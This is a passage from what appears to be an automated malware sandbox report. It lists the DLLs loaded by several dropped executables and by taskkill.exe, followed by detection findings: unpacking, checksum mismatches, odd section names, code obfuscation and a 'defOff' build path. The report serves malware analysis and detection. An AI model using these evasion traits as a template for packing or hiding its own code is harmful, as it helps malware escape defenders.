Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\compatibility.ini
Source: Window Recorder Window detected: More than 3 window changes detected
Source: file.exe Static file information: File size 2930688 > 1048576
Source: file.exe Static PE information: Raw size of tcduwnvy is bigger than: 0x100000 < 0x2a2200
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 8Z5C764IBSHZ8A5U9SVRCREF.exe, 0000000D.00000002.3124576963.0000000000302000.00000040.00000001.01000000.0000000E.sdmp, 8Z5C764IBSHZ8A5U9SVRCREF.exe, 0000000D.00000003.2987877542.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe, 00000024.00000003.3210744266.00000000051B0000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Unpacked PE file: 4.2.QZRNZLINJW4FDHW89WOCWU0IJ.exe.b10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gwmdqjxo:EW;xvafdjqx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gwmdqjxo:EW;xvafdjqx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 5.2.skotes.exe.b70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gwmdqjxo:EW;xvafdjqx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gwmdqjxo:EW;xvafdjqx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 6.2.skotes.exe.b70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gwmdqjxo:EW;xvafdjqx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gwmdqjxo:EW;xvafdjqx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Unpacked PE file: 10.2.B7KMZCE66VGDP83M16.exe.530000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uolrxmar:EW;whwdztvn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uolrxmar:EW;whwdztvn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Unpacked PE file: 12.2.994a9a760e.exe.830000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uolrxmar:EW;whwdztvn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uolrxmar:EW;whwdztvn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Unpacked PE file: 13.2.8Z5C764IBSHZ8A5U9SVRCREF.exe.300000.0.unpack :EW;.rsrc:W;.idata :W;vxijesvo:EW;eoamyyhq:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Unpacked PE file: 32.2.994a9a760e.exe.830000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uolrxmar:EW;whwdztvn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uolrxmar:EW;whwdztvn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Unpacked PE file: 33.2.DBQJ2COS8NEE0DVFAHC8.exe.a60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gwmdqjxo:EW;xvafdjqx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gwmdqjxo:EW;xvafdjqx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Unpacked PE file: 34.2.4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.5d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uolrxmar:EW;whwdztvn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uolrxmar:EW;whwdztvn:EW;.taggant:EW;
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: num.exe.8.dr Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: random[1].exe.8.dr Static PE information: real checksum: 0x2cd975 should be: 0x2d3faf
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr Static PE information: real checksum: 0x1de9bd should be: 0x1e1f74
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr Static PE information: real checksum: 0x1de9bd should be: 0x1e1f74
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr Static PE information: real checksum: 0x1de9bd should be: 0x1e1f74
Source: random[1].exe0.8.dr Static PE information: real checksum: 0x1d4767 should be: 0x1d9469
Source: skotes.exe.4.dr Static PE information: real checksum: 0x1de9bd should be: 0x1e1f74
Source: QVVPAZNCIISWKSVDLM23B.exe.14.dr Static PE information: real checksum: 0x2a5a25 should be: 0x2ad370
Source: file.exe Static PE information: real checksum: 0x2cd975 should be: 0x2d3faf
Source: B7KMZCE66VGDP83M16.exe.0.dr Static PE information: real checksum: 0x1d4767 should be: 0x1d9469
Source: 8Z5C764IBSHZ8A5U9SVRCREF.exe.0.dr Static PE information: real checksum: 0x2a5a25 should be: 0x2ad370
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr Static PE information: real checksum: 0x1d4767 should be: 0x1d9469
Source: 3f779c1cca.exe.8.dr Static PE information: real checksum: 0x2cd975 should be: 0x2d3faf
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr Static PE information: real checksum: 0x1d4767 should be: 0x1d9469
Source: 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.11.dr Static PE information: real checksum: 0x2a5a25 should be: 0x2ad370
Source: 994a9a760e.exe.8.dr Static PE information: real checksum: 0x1d4767 should be: 0x1d9469
Source: num[1].exe.8.dr Static PE information: real checksum: 0x0 should be: 0x52a2a
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name: tcduwnvy
Source: file.exe Static PE information: section name: djrlngwz
Source: file.exe Static PE information: section name: .taggant
Source: B7KMZCE66VGDP83M16.exe.0.dr Static PE information: section name:
Source: B7KMZCE66VGDP83M16.exe.0.dr Static PE information: section name: .rsrc
Source: B7KMZCE66VGDP83M16.exe.0.dr Static PE information: section name: .idata
Source: B7KMZCE66VGDP83M16.exe.0.dr Static PE information: section name:
Source: B7KMZCE66VGDP83M16.exe.0.dr Static PE information: section name: uolrxmar
Source: B7KMZCE66VGDP83M16.exe.0.dr Static PE information: section name: whwdztvn
Source: B7KMZCE66VGDP83M16.exe.0.dr Static PE information: section name: .taggant
Source: 8Z5C764IBSHZ8A5U9SVRCREF.exe.0.dr Static PE information: section name:
Source: 8Z5C764IBSHZ8A5U9SVRCREF.exe.0.dr Static PE information: section name: .idata
Source: 8Z5C764IBSHZ8A5U9SVRCREF.exe.0.dr Static PE information: section name: vxijesvo
Source: 8Z5C764IBSHZ8A5U9SVRCREF.exe.0.dr Static PE information: section name: eoamyyhq
Source: 8Z5C764IBSHZ8A5U9SVRCREF.exe.0.dr Static PE information: section name: .taggant
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr Static PE information: section name:
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr Static PE information: section name: .idata
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr Static PE information: section name:
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr Static PE information: section name: gwmdqjxo
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr Static PE information: section name: xvafdjqx
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe.0.dr Static PE information: section name: .taggant
Source: skotes.exe.4.dr Static PE information: section name:
Source: skotes.exe.4.dr Static PE information: section name: .idata
Source: skotes.exe.4.dr Static PE information: section name:
Source: skotes.exe.4.dr Static PE information: section name: gwmdqjxo
Source: skotes.exe.4.dr Static PE information: section name: xvafdjqx
Source: skotes.exe.4.dr Static PE information: section name: .taggant
Source: random[1].exe.8.dr Static PE information: section name:
Source: random[1].exe.8.dr Static PE information: section name: .rsrc
Source: random[1].exe.8.dr Static PE information: section name: .idata
Source: random[1].exe.8.dr Static PE information: section name: tcduwnvy
Source: random[1].exe.8.dr Static PE information: section name: djrlngwz
Source: random[1].exe.8.dr Static PE information: section name: .taggant
Source: 3f779c1cca.exe.8.dr Static PE information: section name:
Source: 3f779c1cca.exe.8.dr Static PE information: section name: .rsrc
Source: 3f779c1cca.exe.8.dr Static PE information: section name: .idata
Source: 3f779c1cca.exe.8.dr Static PE information: section name: tcduwnvy
Source: 3f779c1cca.exe.8.dr Static PE information: section name: djrlngwz
Source: 3f779c1cca.exe.8.dr Static PE information: section name: .taggant
Source: random[1].exe0.8.dr Static PE information: section name:
Source: random[1].exe0.8.dr Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr Static PE information: section name: .idata
Source: random[1].exe0.8.dr Static PE information: section name:
Source: random[1].exe0.8.dr Static PE information: section name: uolrxmar
Source: random[1].exe0.8.dr Static PE information: section name: whwdztvn
Source: random[1].exe0.8.dr Static PE information: section name: .taggant
Source: 994a9a760e.exe.8.dr Static PE information: section name:
Source: 994a9a760e.exe.8.dr Static PE information: section name: .rsrc
Source: 994a9a760e.exe.8.dr Static PE information: section name: .idata
Source: 994a9a760e.exe.8.dr Static PE information: section name:
Source: 994a9a760e.exe.8.dr Static PE information: section name: uolrxmar
Source: 994a9a760e.exe.8.dr Static PE information: section name: whwdztvn
Source: 994a9a760e.exe.8.dr Static PE information: section name: .taggant
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr Static PE information: section name:
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr Static PE information: section name: .idata
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr Static PE information: section name:
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr Static PE information: section name: gwmdqjxo
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr Static PE information: section name: xvafdjqx
Source: DBQJ2COS8NEE0DVFAHC8.exe.11.dr Static PE information: section name: .taggant
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr Static PE information: section name:
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr Static PE information: section name: .rsrc
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr Static PE information: section name: .idata
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr Static PE information: section name:
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr Static PE information: section name: uolrxmar
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr Static PE information: section name: whwdztvn
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.11.dr Static PE information: section name: .taggant
Source: 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.11.dr Static PE information: section name:
Source: 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.11.dr Static PE information: section name: .idata
Source: 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.11.dr Static PE information: section name: vxijesvo
Source: 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.11.dr Static PE information: section name: eoamyyhq
Source: 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.11.dr Static PE information: section name: .taggant
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr Static PE information: section name:
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr Static PE information: section name: .rsrc
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr Static PE information: section name: .idata
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr Static PE information: section name:
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr Static PE information: section name: uolrxmar
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr Static PE information: section name: whwdztvn
Source: PR9MM82BT6H8ASEPAAV3FFFU6W4.exe.14.dr Static PE information: section name: .taggant
Source: QVVPAZNCIISWKSVDLM23B.exe.14.dr Static PE information: section name:
Source: QVVPAZNCIISWKSVDLM23B.exe.14.dr Static PE information: section name: .idata
Source: QVVPAZNCIISWKSVDLM23B.exe.14.dr Static PE information: section name: vxijesvo
Source: QVVPAZNCIISWKSVDLM23B.exe.14.dr Static PE information: section name: eoamyyhq
Source: QVVPAZNCIISWKSVDLM23B.exe.14.dr Static PE information: section name: .taggant
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr Static PE information: section name:
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr Static PE information: section name: .idata
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr Static PE information: section name:
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr Static PE information: section name: gwmdqjxo
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr Static PE information: section name: xvafdjqx
Source: HR483MUGWRQ77A8EZ5D.exe.14.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_05F52312 push esi; iretd 0_3_05F52320
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_05F52B1B push 566D7034h; iretd 0_3_05F52B20
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_016B0600 push dword ptr [ebx]; retf 0_3_016B0CC1
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_01225713 pushfd ; retf 11_3_01225715
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_01225713 pushfd ; retf 11_3_01225715
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Code function: 11_3_01225713 pushfd ; retf 11_3_01225715
